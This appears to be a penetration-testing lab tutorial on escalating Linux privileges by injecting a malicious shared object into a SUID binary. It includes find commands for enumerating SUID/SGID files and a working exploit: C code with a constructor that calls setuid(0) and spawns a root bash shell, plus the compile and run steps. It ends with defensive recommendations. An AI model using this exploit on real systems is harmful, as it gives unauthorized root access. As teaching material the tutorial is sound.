UID (Set User ID) and SGID (Set Group ID) are permission bits in Unix-based systems that allow users to execute a program with the permissions of the file owner or group respectively. When these permissions are set on executable files, it can lead to potential security vulnerabilities if not managed properly.

Shared Object Injection is a type of attack where an attacker exploits SUID/SGID executables by injecting malicious code into shared libraries or altering the search path for libraries. This allows the attacker to execute unauthorized commands with elevated privileges, posing a significant security risk.

Once a program is executed, it will seek to load the necessary shared objects. We can use a program called strace to track the shared objects that being called. If a shared object were not found, we can hijack it and write a malicious script to spawn a root shell when it is loaded.

Identification

SUID

1. To hunt for all SUID binaries on the system

  • find / -type f -perm -4000 2>/dev/null
  • find / -type f -perm -u=s 2>/dev/null

SGID

1. You can also search for specific user SUID

  • find / -type f -perm -4000 -user root -ls 2>/dev/null
  • find / -type f -perm -u=s -user root -ls 2>/dev/null

Extra

1. You can search for both at the same time

  • find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
  • find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

LinPEAS

1. Using LinPEAS.sh we can enumerate SUID and SGID

  • Transfer the script into the target machine
  • Run it: ./LinPEAS.sh

suid3num

1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so

  • Python2.6 suid3enum.py

Exploitation

1. Run the strace and you'll notice the last shared object that is not found and located at /home/user which is the folder we can write to. ( open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory) )

  • strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Note: if the directory doesn’t exist in the path just create it, to replicate the same exact path.

2. Create a file named libcalc.c, as the strace output shows, with the contents

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    setuid(0);
    system("/bin/bash -p");
}

Note, this script will run a new shell as the owner of the SUID file

3. Compile it and the output should be the same file name (shared object) that is being called by the SUID.

  • gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/.config/libcalc.c

4. (Optional) Run strace again, and, see that now the dependency is found (you may need to kill the process with CTLR+C)

  • strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

5. Now, run the SUID program, and see what happens

  • /usr/local/bin/suid-so
  • whoami && id

Recommendations

  • Reduce Privilege: Minimize the use of SUID/SGID permissions. Only set them when absolutely necessary.
  • Regular Updates: Keep software and system libraries updated to patch known vulnerabilities.
  • Use Capabilities Instead: Consider using Linux capabilities to grant specific privileges to processes rather than using SUID/SGID where possible.
  • Secure Coding Practices: Develop secure code and review it regularly to avoid vulnerabilities.
  • Least Privilege Principle: Limit the use of SUID/SGID permissions. Only assign these permissions when there's a clear need.
  • Regular Security Audits: Conduct periodic audits to identify and rectify vulnerabilities.
  • Access Controls: Implement strong access controls and user permissions to limit the impact of any potential breach.
  • Monitoring and Alert Systems: Employ systems to monitor unusual behavior and set up alerts for any unauthorized access attempts.
  • Network Segmentation: Isolate critical systems to minimize the impact of a potential breach.